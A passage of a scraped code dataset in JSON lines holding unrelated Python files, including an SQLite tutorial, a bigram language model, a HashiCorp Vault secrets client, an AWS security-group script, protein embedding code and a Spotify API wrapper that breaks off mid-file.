len(ips.points['e', 1]))\n self.assertEqual(4, len(ips.points['e', 4]))\n self.assertEqual(4, len(ips.points['b', 2]))\n self.assertEqual(4, len(ips.points['c', 2]))\n","repo_name":"semyon72/games","sub_path":"tests/vector/test_intersection.py","file_name":"test_intersection.py","file_ext":"py","file_size_in_byte":2815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70390922012","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport sqlite3\n\n# Connect to SQLite database\n# The database file is test.db\n# If the file does not exist, it will be automatically created in the current directory:\nconn = sqlite3.connect('test.db')\n# Create a Cursor:\ncursor = conn.cursor()\n# Execute an SQL statement to create the user table:\ncursor.execute('create table user (id varchar(20) primary key, name varchar(20))')\n# Continue to execute an SQL statement to insert a record:\ncursor.execute('insert into user (id, name) values (\\'1\\', \\'Michael\\')')\n# Get the number of inserted rows by rowcount:\nprint('rowcount =', cursor.rowcount)\n# Close Cursor:\ncursor.close()\n#Commit transaction:\nconn.commit()\n# Close Connection:\nconn.close()\n\n# Search record::\nconn = sqlite3.connect('test.db')\ncursor = conn.cursor()\n# Execute the query statement:\ncursor.execute('select * from user where id=?', '1')\n# Get the query result set:\nvalues = cursor.fetchall()\nprint(values)\ncursor.close()\nconn.close()","repo_name":"devopsor/python-tutorial","sub_path":"18_database/02.sqlite3.py","file_name":"02.sqlite3.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"37531590848","text":"import torch\nimport torch.nn as nn\nfrom torch.nn import functional as F\n\ntorch.manual_seed(1337)\n\n\nclass BigramLanguageModel(nn.Module):\n def __init__(self, vocab_size):\n super().__init__()\n # each token directly reads off the logits for the next token from a lookup table\n self.token_embedding_table = nn.Embedding(vocab_size, vocab_size)\n\n def forward(self, idx, targets):\n # idx and targets are both (B, T) tensors of integers\n logits = self.token_embedding_table(idx) # (B, T, C)\n \n # reshape logits because PyTorch expects targets to be (B, T)\n B, T, C = logits.shape\n logits = logits.view(B * T, C)\n targets = targets.view(B * T) # or use targets.view(-1)\n\n # negative log-likelihood loss\n loss = F.cross_entropy(logits, targets)\n \n return logits, loss\n\n def generate(self, idx: torch.tensor, max_new_tokens: int) -> torch.tensor:\n \"\"\"Generate predictions for new tokens.\n\n Args:\n idx (torch.tensor): (B, T) array of indices in the current context.\n max_new_tokens (int): _description_\n \"\"\"\n \n for _ in range(max_new_tokens):\n # get the predictions\n logits, loss = self(idx)\n \n # focus only on the last time step\n logits = logits[:, -1, :] # (B, C)\n \n # apply softmax to get probabilities\n probs = F.softmax(logits, dim=-1) # (B, C)\n \n # sample from the distribution\n idx_next = torch.multinomial(probs, num_samples=1) # (B, 1)\n \n # append sampled index to the running sequence\n idx = torch.cat((idx, idx_next), dim=1) # (B, T + 1)\n \n return idx","repo_name":"csital/nanoGPT-from-scratch","sub_path":"src/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"1548943042","text":"from collections import deque\n\ndef negafibbo(k):\n if k == 0:\n return [0]\n\n result = deque([1, 0, 1])\n for i in range(1, k):\n result.appendleft(result[1] - result[0])\n result.append(result[-1] + result[-2])\n\n return list(result)\n\n\nif __name__ == '__main__':\n k = int(input())\n print(negafibbo(k))\n","repo_name":"karenyaylyan/intro_python","sub_path":"Yaylyan_Karen_dz3/task_3_5.py","file_name":"task_3_5.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"5788288887","text":"from App.extensions import render_template, Blueprint\n\nmain = Blueprint(\"main\", __name__)\n\n# The home/index route\n\n\n@main.route('/home')\n@main.route('/')\ndef home():\n \"\"\"This route render the home or index page of the application\"\"\"\n return render_template('main/home.html', title='InnoHub')\n","repo_name":"greenfield01/InnoHub","sub_path":"App/main/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36677674561","text":"\"\"\"\r\nPython script that can be used \r\nto interact with the HashiCorp Cloud Platform Vault Secrets.\r\n\"\"\"\r\n\r\nimport requests\r\n\r\n\r\nclass SecretVaultDriver:\r\n \"\"\"\r\n Class to interact with the HashiCorp Cloud Platform Vault Secrets.\r\n \"\"\"\r\n\r\n def __init__(self, hcp_client_id, hcp_client_secret):\r\n self.hcp_client_id = hcp_client_id\r\n self.hcp_client_secret = hcp_client_secret\r\n self.hcp_org_id = None\r\n self.hcp_proj_id = None\r\n self.app_name = None\r\n self.hcp_api_token = None\r\n\r\n def set_org_id(self, hcp_org_id: str):\r\n \"\"\"\r\n Set the organization ID.\r\n \"\"\"\r\n self.hcp_org_id = hcp_org_id\r\n\r\n def set_proj_id(self, hcp_proj_id: str):\r\n \"\"\"\r\n Set the project ID.\r\n \"\"\"\r\n self.hcp_proj_id = hcp_proj_id\r\n\r\n def set_app_name(self, app_name: str):\r\n \"\"\"\r\n Set the app name.\r\n \"\"\"\r\n self.app_name = app_name\r\n\r\n def fetch_token(self):\r\n \"\"\"\r\n Fetches the API token from the HashiCorp Cloud Platform.\r\n This step is mendatory if you want to fetch secrets from the Vault Secrets.\r\n \"\"\"\r\n url = 'https://auth.hashicorp.com/oauth/token'\r\n headers = {'Content-Type': 'application/json'}\r\n\r\n payload = {\r\n \"audience\": \"https://api.hashicorp.cloud\",\r\n \"grant_type\": \"client_credentials\",\r\n \"client_id\": self.hcp_client_id,\r\n \"client_secret\": self.hcp_client_secret\r\n }\r\n\r\n response = requests.post(url, headers=headers, json=payload, timeout=5)\r\n data = response.json()\r\n self.hcp_api_token = data.get('access_token')\r\n return self.hcp_api_token\r\n\r\n def get_all_apps(self) -> dict:\r\n \"\"\"\r\n Get all the apps from the HashiCorp Cloud Platform\r\n \"\"\"\r\n\r\n url = f\"https://api.cloud.hashicorp.com/secrets/2023-06-13/organizations/{self.hcp_org_id}/projects/{self.hcp_proj_id}/apps\"\r\n headers = {\r\n \"Authorization\": f\"Bearer {self.hcp_api_token}\"\r\n }\r\n\r\n response = requests.get(url, headers=headers, timeout=5)\r\n data = response.json()\r\n\r\n return data\r\n\r\n def get_all_secrets(self) -> dict:\r\n \"\"\"\r\n Get all the secrets from the Vault Secrets\r\n \"\"\"\r\n\r\n url = f\"https://api.cloud.hashicorp.com/secrets/2023-06-13/organizations/{self.hcp_org_id}/projects/{self.hcp_proj_id}/apps/{self.app_name}/secrets\"\r\n headers = {\r\n \"Authorization\": f\"Bearer {self.hcp_api_token}\"\r\n }\r\n\r\n response = requests.get(url, headers=headers, timeout=5)\r\n data = response.json()\r\n\r\n return data\r\n\r\n def get_secret(self, secret_name: str) -> dict:\r\n \"\"\"\r\n Get a secret from the Vault Secrets\r\n \"\"\"\r\n\r\n url = f\"https://api.cloud.hashicorp.com/secrets/2023-06-13/organizations/{self.hcp_org_id}/projects/{self.hcp_proj_id}/apps/{self.app_name}/open/{secret_name}\"\r\n headers = {\r\n \"Authorization\": f\"Bearer {self.hcp_api_token}\"\r\n }\r\n\r\n response = requests.get(url, headers=headers, timeout=5)\r\n data = response.json()\r\n\r\n return data\r\n","repo_name":"georgesfarah/HCPVaultSecretDriver","sub_path":"secret_vault_driver_script.py","file_name":"secret_vault_driver_script.py","file_ext":"py","file_size_in_byte":3199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"5913532690","text":"# BFS GOLD2\n# 그래프에서 서로 가장 멀리 떨어져있는 두 노드는\n# 임의의 한 노드에서 가장 떨어진 노드 중 하나이다\nimport sys\nfrom collections import deque\n\ninput = sys.stdin.readline\n\nn = int(input())\nvisited = [False]*(n+1)\nadjacent = [ [] for _ in range(n+1) ]\n\nfor i in range(1,n+1):\n req = list(map(int , input().strip().split()))\n index = 0\n S1 = req[index]\n index+=1\n while True:\n S2 = req[index]\n if S2 == -1:\n break\n E = req[index+1]\n adjacent[S1].append((S2,E))\n index+=2\n\ndistance = [0] * (n+1)\n\ndef bfs(start):\n queue = deque()\n queue.append(start)\n visited[start]=True\n while len(queue)!=0:\n node = queue.popleft()\n for i in adjacent[node]:\n if visited[i[0]] == False:\n queue.append(i[0])\n visited[i[0]]=True\n distance[i[0]]= distance[node]+i[1]\n\nbfs(1)\nresult_index = distance.index( max(distance) )\nvisited = [False]*(n+1)\ndistance = [0] * (n+1)\nbfs(result_index)\nprint(max(distance))","repo_name":"mr8356/BOJ_solve","sub_path":"python/Gold_1167.py","file_name":"Gold_1167.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"16038972365","text":"'''\nThis script is for changing security groups.\nPlease note that this script identify eni via only private address\nCommand: python -f --profile=\n'''\n\nimport boto3\nimport csv\nimport logging\nimport sys, getopt\n\ntry:\n opts, args = getopt.getopt(sys.argv[1:], 'f:', 'profile=')\nexcept:\n print('Syntax Error! python -f --profile=')\n\ntry:\n profile = opts[1][1]\nexcept:\n profile = 'default'\nconf_file = opts[0][1]\n\n# print on screen and log file in change_sg.log\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\nfh = logging.FileHandler(\"change_sg.log\")\n\nfh.setLevel(logging.INFO)\nch = logging.StreamHandler()\nch.setLevel(logging.INFO)\n\nformatter = logging.Formatter(\"%(asctime)s - %(levelname)s - %(message)s\")\nch.setFormatter(formatter)\nfh.setFormatter(formatter)\nlogger.addHandler(ch)\nlogger.addHandler(fh)\n\ndef get_eni(ip):\n return eni_dict.get(ip, '')\n\n\n# delete s_list from p_list.\n# Return (post-del list, item_list in s_list that not found in p_list, deleted items in p_list).\ndef del_sub_list(s_list, p_list):\n not_found_item = []\n del_item = []\n for item in s_list:\n try:\n p_list.remove(item)\n del_item.append(item)\n except:\n not_found_item.append(item)\n return p_list, not_found_item, del_item\n\n\ndef replace_sg(ip, sg_list):\n each_eni_id = get_eni(ip)\n all_sg_ids = []\n for sg in sg_list:\n all_sg_ids.append(sg_name_dict.get(sg, 'typo'))\n\n if all_sg_ids.count('typo'):\n logger.error('%s: Security groups you typed does not exist.' % ip)\n elif len(all_sg_ids) > 5:\n logger.error('%s: Security groups number limitation exceeded.' % ip)\n else:\n ec2.NetworkInterface(each_eni_id).modify_attribute(Groups=all_sg_ids)\n logger.info(('%s: Successfully! '+', '.join(sg_list) + ' replaced.') % ip)\n\n\ndef add_sg(ip, sg_list):\n each_eni_id = get_eni(ip)\n add_sg_ids = []\n add_sg_list = []\n error_list = []\n\n for sg in sg_list:\n try:\n add_sg_ids.append(sg_name_dict[sg])\n add_sg_list.append(sg)\n except:\n error_list.append(sg)\n add_sg_ids.extend(eni_sg[each_eni_id])\n all_sg_ids = list(set(add_sg_ids)) # remove duplication\n\n if len(all_sg_ids) > 5:\n logger.error('%s: Security groups number limitation exceeded.' % ip)\n else:\n ec2.NetworkInterface(each_eni_id).modify_attribute(Groups=all_sg_ids)\n logger.info(('%s: Successfully! ' + ', '.join(add_sg_list) + ' were added') % ip)\n if error_list:\n logger.error(('%s: ' + ', '.join(error_list) + ' were not found') % ip)\n\n\ndef del_sg(ip, sg_list):\n each_eni_id = get_eni(ip)\n cur_sg_list = eni_sgname[each_eni_id]\n del_sg_list = sg_list\n del_sub_list_response = del_sub_list(del_sg_list, cur_sg_list)\n all_sg_list = del_sub_list_response[0]\n error_list = del_sub_list_response[1]\n del_list = del_sub_list_response[2]\n\n if not del_list:\n logger.error('%s: All security groups were not found.' % ip)\n return\n\n elif not all_sg_list:\n logger.error('%s: You need to remain at least one security group.' % ip)\n\n else:\n all_sg_ids = [sg_name_dict[i] for i in all_sg_list]\n ec2.NetworkInterface(each_eni_id).modify_attribute(Groups=all_sg_ids)\n logger.info('%s: Successfully! ' % ip + ', '.join(del_list) + ' were removed.')\n if error_list:\n logger.error('%s: ' % ip + ', '.join(error_list) + ' were not found.')\n\n\nboto3.setup_default_session(profile_name=profile)\nclient = boto3.client('ec2')\nec2 = boto3.resource('ec2')\nsg_name_dict = {}\neni_dict = {}\neni_sg = {}\neni_sgname ={}\n\n# dict {'sg_name': 'sg_id'} on aws\nresponse_sg = client.describe_security_groups()\nfor sg in response_sg['SecurityGroups']:\n sg_name = sg['GroupName']\n try:\n sg_id = sg['GroupId']\n except:\n sg_id = \"\"\n sg_name_dict[sg_name] = sg_id\n\n# eni_dict {'ip_address': 'eni_id'} ,\n# eni_sg {'eni_id', [sg_id]}\n# eni_sgname {'eni_id', [sg_name]}\nresponse_eni = client.describe_network_interfaces()\nfor eni in response_eni['NetworkInterfaces']:\n eni_id = eni['NetworkInterfaceId']\n sg_id_list = []\n sg_name_list = []\n for each_ip in eni['PrivateIpAddresses']:\n ip_address = each_ip['PrivateIpAddress']\n eni_dict[ip_address] = eni_id\n for each_sg in eni['Groups']:\n sg_id_list.append(each_sg['GroupId'])\n sg_name_list.append(each_sg['GroupName'])\n eni_sg[eni_id] = sg_id_list\n eni_sgname[eni_id] = sg_name_list\n\n\n# read csv file\nwith open(conf_file, 'r') as input_file:\n reader = csv.reader(input_file)\n rows = [row for row in reader]\n\n# action\nfor each_row in rows[1:]:\n ip = each_row[1]\n if not(ip in eni_dict):\n logger.error('%s does not exist.' % ip)\n continue\n else:\n tag = each_row[0]\n input_sg_list = [sg for sg in each_row[2:] if sg]\n if tag == 'replace':\n replace_sg(ip, input_sg_list)\n if tag == 'add':\n add_sg(ip, input_sg_list)\n if tag == 'del':\n del_sg(ip, input_sg_list)\n","repo_name":"jamniel/AWS_Repo","sub_path":"ChangeSG/Final/change_sg_via_IP_v1.2.py","file_name":"change_sg_via_IP_v1.2.py","file_ext":"py","file_size_in_byte":5149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"5986993809","text":"# 763. Partition Labels\n# https://leetcode.com/problems/partition-labels/\n\ndef partitionLabels(self, s: str) -> List[int]:\n left =right = 0\n res = []\n lastIdx = {x:i for i,x in enumerate(s)}\n for i,x in enumerate(s):\n right = max(lastIdx[x],right)\n if i == right:\n res.append(right-left+1)\n left = i+1\n return res","repo_name":"pmpham/Leetcode-Solutions","sub_path":"Medium/partitionLabels.py","file_name":"partitionLabels.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"34727136814","text":"import esm\nimport numpy as np\nimport torch\nimport Bio\nfrom Bio.PDB.PDBParser import PDBParser\nimport os\nimport logging\nlogging.basicConfig(level=logging.DEBUG,format='%(asctime)s - %(filename)s[line:%(lineno)d] - %(levelname)s: %(message)s')\nimport esm.inverse_folding\nfrom parse_args import get_args\nimport shutil\nimport gc\n\ndef runesm1v(seq, model, alphabet, batch_converter, device):\n res=[]\n data = [(\"tmp\", seq),]\n _, _, batch_tokens = batch_converter(data)\n for i in range(len(seq)):\n batch_tokens_masked = batch_tokens.clone()\n batch_tokens_masked[0][i+1]=alphabet.mask_idx #mask the residue,32\n # print(batch_tokens_masked)\n with torch.no_grad():\n x=model(batch_tokens_masked.to(device))\n res.append(x[0][i+1].tolist())\n return torch.Tensor(res).to(device)\n\n# dstpath 目的地址\ndef mymovefile(srcfile,dstfile):\n if not os.path.isfile(srcfile):\n print(\"%s not exist!\"%(srcfile))\n else:\n shutil.move(srcfile,dstfile) #移动文件\n print(\"move %s -> %s\"%( srcfile,dstfile))\n\ndef mycopyfile(srcfile,dstfile):\n if not os.path.isfile(srcfile):\n print(\"%s not exist!\"%(srcfile))\n else:\n shutil.copyfile(srcfile,dstfile) #复制文件\n \n\nif __name__ == '__main__':\n args=get_args()\n\n\n # logging.info(\"esm1v model loading\")\n # esm1v_model_location=\"/home/ysbgs/xky/esm1v_t33_650M_UR90S_1\"\n # esm1v_model, alphabet = esm.pretrained.load_model_and_alphabet(esm1v_model_location)\n # batch_converter = alphabet.get_batch_converter()\n # esm1v_model.to(args.device)\n # logging.info(\"esm1v model load finish\")\n \n # print(args)\n\n # complexdict={} # pdbname : [seq1, seq2, bingding_affinity]\n # seqdict={}\n # ml=0\n # for line in open(args.inputDir+'benchmark_seq.txt'):\n # blocks=re.split('\\t|\\n',line)\n # seqdict[blocks[0]]=blocks[1]\n # if len(blocks[1])>ml:\n # ml=len(blocks[1])\n # print(ml)\n# structure\n # for line in open(args.inputDir+'SKEMPI_all_dg_avg.txt'):\n # blocks=re.split('\\t|\\n',line)\n # pdbname=blocks[0]+'+'+blocks[1]\n # data=[]\n # data.append(seqdict[blocks[0]])\n # data.append(seqdict[blocks[1]])\n # data.append(float(blocks[2]))\n # complexdict[pdbname]=data\n\n # for chain_name in seqdict.keys():\n # logging.info(\"generate sequcence esm1v : \"+chain_name)\n \n # chain_esm = runesm1v(seqdict[chain_name], esm1v_model, alphabet, batch_converter, args.device)\n # torch.save(chain_esm.to(torch.device('cpu')),'../data/esmfeature/skempi/'+chain_name+'.pth')\n \n files= os.listdir(\"../data/esmfeature/strute_emb/\")\n \n esm_dict=set()\n for line in files:\n esm_dict.add(line.split(\"_\")[0])\n model, alphabet = esm.pretrained.esm_if1_gvp4_t16_142M_UR50()\n for param in model.parameters():\n param.requires_grad = False\n model = model.eval()\n pdbs=[]\n # pdb_dict={}\n with open('../data/pdbbind_data.txt','r') as f1:\n for line in f1:\n pdbs.append(line.split('\\t')[0])\n # pdb_dict[line.split('\\t')[0]]=line.split('\\t')[2]\n \n # f=open('../data/pdbbind_affinity_all2_v2.txt','w')\n \n path1='../data/pdbs/'\n # for name in pdbs:\n # mycopyfile(sourcepath+name,path+name)\n sum=0\n too_long=[\"1ogy\",\"1tzn\",\"2wss\",\"3lk4\",\"3sua\",\"3swp\"]\n for file in pdbs: #遍历文件夹\n # if(file!='3k8p'): continue\n if file in esm_dict: continue\n if file in too_long: continue\n fp1 = path1+file+'.pdb'\n parser = PDBParser()\n structure = parser.get_structure(\"temp\", fp1)\n chainGroup=set()\n logging.info(file)\n for chain in structure.get_chains():\n chainGroup.add(chain.get_id())\n \n structure = esm.inverse_folding.util.load_structure(fp1, list(chainGroup))\n coords, _ = esm.inverse_folding.multichain_util.extract_coords_from_complex(structure)\n for chain_id in chainGroup:\n rep = esm.inverse_folding.multichain_util.get_encoder_output_for_complex(model, alphabet, coords,chain_id)\n # print(rep.shape)\n torch.save(rep.to(torch.device('cpu')),'../data/esmfeature/strute_emb/'+file.split('.')[0]+'_'+chain_id+'.pth')\n del rep \n gc.collect()\n \n","repo_name":"Fuyaocc/bindingaffinity","sub_path":"utils/esmfeature.py","file_name":"esmfeature.py","file_ext":"py","file_size_in_byte":4380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"29953871517","text":"\ndef help_bobby(size): \n # List comprehension updated due to Python's memory handling.\n array=[[0 for _ in range(size)] for _ in range(size)]\n for i in array:print(i)\n row=0\n for column in range(size):\n array[column][row]=1\n array[size-column-1][row]=1 # Indexes need to be zero-indexed\n row+=1\n for i in array:print(i)\n return array\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"PirFJDfGk4vpsdkeE_20.py","file_name":"PirFJDfGk4vpsdkeE_20.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41235954877","text":"from aiohttp import ClientSession\nimport time\nimport json\nimport base64\nfrom typing import MutableSequence, Union\nimport traceback\n\ndef format_query(**kwargs):\n return '&'.join([f'{key}={value}' for key, value in kwargs.items()])\n\n\ndef print_json(data: dict):\n print(json.dumps(data, indent=4))\n\nclass SpotifyApi:\n def __init__(self, client_id, client_secret, session: ClientSession):\n self.client_id = client_id\n self.client_secret = client_secret\n self.session = session\n self.load_cache()\n\n cache = {\n 'artists': {},\n 'playlists': {},\n 'tracks': {},\n 'categories': {},\n 'audio_features': {},\n }\n cache_hits = 0\n\n def save_to_cache(self, type: str, key: str, value: any):\n self.cache[type][key] = {\n 'value': value,\n 'timestamp': time.time()\n }\n\n def get_from_cache(self, key: str, id: str):\n try:\n if id in self.cache[key] and time.time() - self.cache[key][id]['timestamp'] < 60 * 60 * 24:\n self.cache_hits += 1\n return self.cache[key][id]['value']\n except KeyError:\n pass\n return None\n\n def save_cache(self):\n with open('cache.json', 'w') as file:\n json.dump(self.cache, file)\n\n def load_cache(self):\n try:\n with open('cache.json', 'r') as file:\n self.cache = json.load(file)\n except FileNotFoundError:\n pass\n\n class AudioFeatures:\n def __init__(self, track_id: str, danceability: float, energy: float, key: int, loudness: float, mode: int, speechiness: float, acousticness: float, instrumentalness: float, liveness: float, valence: float, tempo: float, time_signature: int):\n self.track_id = track_id\n self.danceability = danceability\n self.energy = energy\n self.key = key\n self.loudness = loudness\n self.mode = mode\n self.speechiness = speechiness\n self.acousticness = acousticness\n self.instrumentalness = instrumentalness\n self.liveness = liveness\n self.valence = valence\n self.tempo = tempo\n self.time_signature = time_signature\n\n def __repr__(self):\n return f'AudioFeatures({self.track_id})'\n\n def __str__(self):\n str = 'AudioFeatures(\\n'\n for key, value in self.__dict__.items():\n str += f'\\t{key}: {value}\\n'\n str += ')'\n return str\n\n @staticmethod\n def from_response(data: dict) -> 'SpotifyApi.AudioFeatures':\n return SpotifyApi.AudioFeatures(\n track_id=data['track_href'].split('/')[-1],\n danceability=data['danceability'],\n energy=data['energy'],\n key=data['key'],\n loudness=data['loudness'],\n mode=data['mode'],\n speechiness=data['speechiness'],\n acousticness=data['acousticness'],\n instrumentalness=data['instrumentalness'],\n liveness=data['liveness'],\n valence=data['valence'],\n tempo=data['tempo'],\n time_signature=data['time_signature']\n )\n\n def to_dict(self):\n return {\n 'track_id': self.track_id,\n 'danceability': self.danceability,\n 'energy': self.energy,\n 'key': self.key,\n 'loudness': self.loudness,\n 'mode': self.mode,\n 'speechiness': self.speechiness,\n 'acousticness': self.acousticness,\n 'instrumentalness': self.instrumentalness,\n 'liveness': self.liveness,\n 'valence': self.valence,\n 'tempo': self.tempo,\n 'time_signature': self.time_signature\n }\n\n @staticmethod\n def from_dict(data: dict) -> 'SpotifyApi.AudioFeatures':\n return SpotifyApi.AudioFeatures(\n track_id=data['track_id'],\n danceability=data['danceability'],\n energy=data['energy'],\n key=data['key'],\n loudness=data['loudness'],\n mode=data['mode'],\n speechiness=data['speechiness'],\n acousticness=data['acousticness'],\n instrumentalness=data['instrumentalness'],\n liveness=data['liveness'],\n valence=data['valence'],\n tempo=data['tempo'],\n time_signature=data['time_signature']\n )\n\n class Artist:\n def __init__(self, id: str, name: str, genres: list[str], uri: str) -> None:\n self.id = id\n self.name = name\n self.genres = genres\n self.uri = uri\n\n def __str__(self) -> str:\n str = 'Artist(\\n'\n for key, value in self.__dict__.items():\n str += f'\\t{key}: {value}\\n'\n str += ')'\n return str\n\n def __repr__(self) -> str:\n return f'Artist({self.id}, {self.name})'\n\n @staticmethod\n def from_response(data: dict):\n # print(data)\n return SpotifyApi.Artist(\n data['id'],\n data['name'],\n data['genres'],\n data['uri'],\n )\n\n def to_dict(self):\n return {\n 'id': self.id,\n 'name': self.name,\n 'genres': self.genres,\n 'uri': self.uri\n }\n\n @staticmethod\n def from_dict(data: dict):\n return SpotifyApi.Artist(\n data['id'],\n data['name'],\n data['genres'],\n data['uri']\n )\n\n class Album:\n def __init__(self, id: str, name: str, uri: str, artists: list['SpotifyApi.Artist']):\n self.id = id\n self.name = name\n self.uri = uri\n self.artists = artists\n\n def __str__(self) -> str:\n str = 'Album(\\n'\n for key, value in self.__dict__.items():\n str += f'\\t{key}: {value}\\n'\n str += ')'\n return str\n\n def __repr__(self) -> str:\n return f'Album({self.id}, {self.name})'\n\n @staticmethod\n def from_response(data: dict):\n return SpotifyApi.Album(\n data['id'],\n data['name'],\n data['uri'],\n [SpotifyApi.Artist.from_response(artist) for artist in data['artists']]\n )\n\n def to_dict(self):\n return {\n 'id': self.id,\n 'name': self.name,\n 'uri': self.uri,\n 'artists': [artist.to_dict() for artist in self.artists]\n }\n\n @staticmethod\n def from_dict(data: dict):\n return SpotifyApi.Album(\n data['id'],\n data['name'],\n data['uri'],\n [SpotifyApi.Artist.from_dict(artist) for artist in data['artists']]\n )\n\n class Playlist:\n def __init__(self, collaborative: bool, description: str, id: str, name: str, uri: str):\n self.collaborative = collaborative\n self.description = description\n self.id = id\n self.name = name\n self.uri = uri\n\n def __str__(self) -> str:\n str = 'Playlist(\\n'\n for key, value in self.__dict__.items():\n str += f'\\t{key}: {value}\\n'\n str += ')'\n return str\n\n def __repr__(self) -> str:\n return f'Playlist({self.id}, {self.name})'\n\n @staticmethod\n def from_response(data: dict):\n # print(data)\n return SpotifyApi.Playlist(\n data['collaborative'],\n data['description'],\n data['id'],\n data['name'],\n data['uri']\n )\n\n def to_dict(self):\n return {\n 'collaborative': self.collaborative,\n 'description': self.description,\n 'id': self.id,\n 'name': self.name,\n 'uri': self.uri\n }\n\n @staticmethod\n def from_dict(data: dict):\n return SpotifyApi.Playlist(\n data['collaborative'],\n data['description'],\n data['id'],\n data['name'],\n data['uri']\n )\n\n class Track:\n def __init__(self, id: str, album: 'SpotifyApi.Album', artists_ids: list[str], disc_number: int, duration_ms: int, explicit: bool, is_local: bool, name: str, popularity: int, track_number: int, preview_url: str, uri: str):\n self.id = id\n self.album = album\n self.artists_ids = artists_ids\n self.disc_number = disc_number\n self.duration_ms = duration_ms\n self.explicit = explicit\n self.is_local = is_local\n self.name = name\n self.popularity = popularity\n self.track_number = track_number\n self.preview_url = preview_url\n self.uri = uri\n\n def __str__(self) -> str:\n str = 'Track(\\n'\n for key, value in self.__dict__.items():\n str += f'\\t{key}: {value}\\n'\n str += ')'\n return str\n\n def __repr__(self) -> str:\n return f'Track({self.id}, {self.name})'\n\n @staticmethod\n def from_response(data: dict):\n return SpotifyApi.Track(\n data['id'],\n SpotifyApi.Album.from_response(data['album']),\n [artist['id'] for artist in data['artists']],\n data['disc_number'],\n data['duration_ms'],\n data['explicit'],\n data['is_local'],\n data['name'],\n data['popularity'],\n data['track_number'],\n data['preview_url'],\n data['uri']\n )\n\n def to_dict(self):\n return {\n 'id': self.id,\n 'album': self.album.to_dict(),\n 'artists_ids': self.artists_ids,\n 'disc_number': self.disc_number,\n 'duration_ms': self.duration_ms,\n 'explicit': self.explicit,\n 'is_local': self.is_local,\n 'name': self.name,\n 'popularity': self.popularity,\n 'track_number': self.track_number,\n 'preview_url': self.preview_url,\n 'uri': self.uri\n }\n\n @staticmethod\n def from_dict(data: dict):\n return SpotifyApi.Track(\n data['id'],\n SpotifyApi.Album.from_dict(data['album']),\n data['artists_ids'],\n data['disc_number'],\n data['duration_ms'],\n data['explicit'],\n data['is_local'],\n data['name'],\n data['popularity'],\n data['track_number'],\n data['preview_url'],\n data['uri']\n )\n\n\n class TrackFeatures:\n def __init__(self, id: str, acousticness: float, danceability: float, energy: float, instrumentalness: float, key: int, liveness: float, loudness: float, mode: int, speechiness: float, tempo: float, time_signature: int, valence: float) -> None:\n self.id = id\n self.acousticness = acousticness\n self.danceability = danceability\n self.energy = energy\n self.instrumentalness = instrumentalness\n self.key = key\n self.liveness = liveness\n self.loudness = loudness\n self.mode = mode\n self.speechiness = speechiness\n self.tempo = tempo\n self.time_signature = time_signature\n self.valence = valence\n\n def __str__(self) -> str:\n str = 'Track(\\n'\n for key, value in self.__dict__.items():\n str += f'\\t{key}: {value}\\n'\n str += ')'\n return str\n\n def __repr__(self) -> str:\n return f'Track({self.id}, {self.name})'\n\n @staticmethod\n def from_response(data: dict):\n return SpotifyApi.Track(\n data['id'],\n data['acousticness'],\n data['danceability'],\n data['energy'],\n data['instrumentalness'],\n data['key'],\n data['liveness'],\n data['loudness'],\n data['mode'],\n data['speechiness'],\n data['tempo'],\n data['time_signature'],\n data['valence']\n )\n\n class TrackWithFeatures:\n def __init__(self, track: 'SpotifyApi.Track', features: 'SpotifyApi.TrackFeatures') -> None:\n self.track = track\n self.features = features\n\n def __str__(self) -> str:\n str = 'TrackWithFeatures(\\n'\n for key, value in self.__dict__.items():\n str += f'\\t{key}: {value}\\n'\n str += ')'\n return str\n\n def __repr__(self) -> str:\n return f'TrackWithFeatures({self.track.id}, {self.track.name})'\n\n @staticmethod\n def from_response(track_data: dict, features_data: dict):\n return SpotifyApi.TrackWithFeatures(\n SpotifyApi.Track.from_response(track_data),\n SpotifyApi.TrackFeatures.from_response(features_data)\n )\n\n\n class StoredToken:\n def __init__(self, access_token: str, token_type: str, expires_in: int, created_at: int) -> None:\n self.access_token = access_token\n self.token_type = token_type\n self.expires_in = expires_in\n self.created_at = created_at\n\n @staticmethod\n def from_stored_json(data: dict) -> 'SpotifyApi.StoredToken':\n return SpotifyApi.StoredToken(\n data['access_token'],\n data['token_type'],\n data['expires_in'],\n data['created_at']\n )\n\n def is_expired(self) -> bool:\n return self.created_at + self.expires_in < time.time()\n\n def __str__(self) -> str:\n return json.dumps({\n 'access_token': self.access_token,\n 'token_type': self.token_type,\n 'expires_in': self.expires_in,\n 'created_at': self.created_at\n })\n\n def to_json(self) -> str:\n return str(self)\n\n @staticmethod\n def from_json(json_str: str) -> 'SpotifyApi.StoredToken':\n data = json.loads(json_str)\n return SpotifyApi.StoredToken(\n access_token=data['access_token'],\n token_type=data['token_type'],\n expires_in=data['expires_in'],\n created_at=data['created_at']\n )\n\n @staticmethod\n def from_response(response: dict) -> 'SpotifyApi.StoredToken':\n return SpotifyApi.StoredToken(\n access_token=response['access_token'],\n token_type=response['token_type'],\n 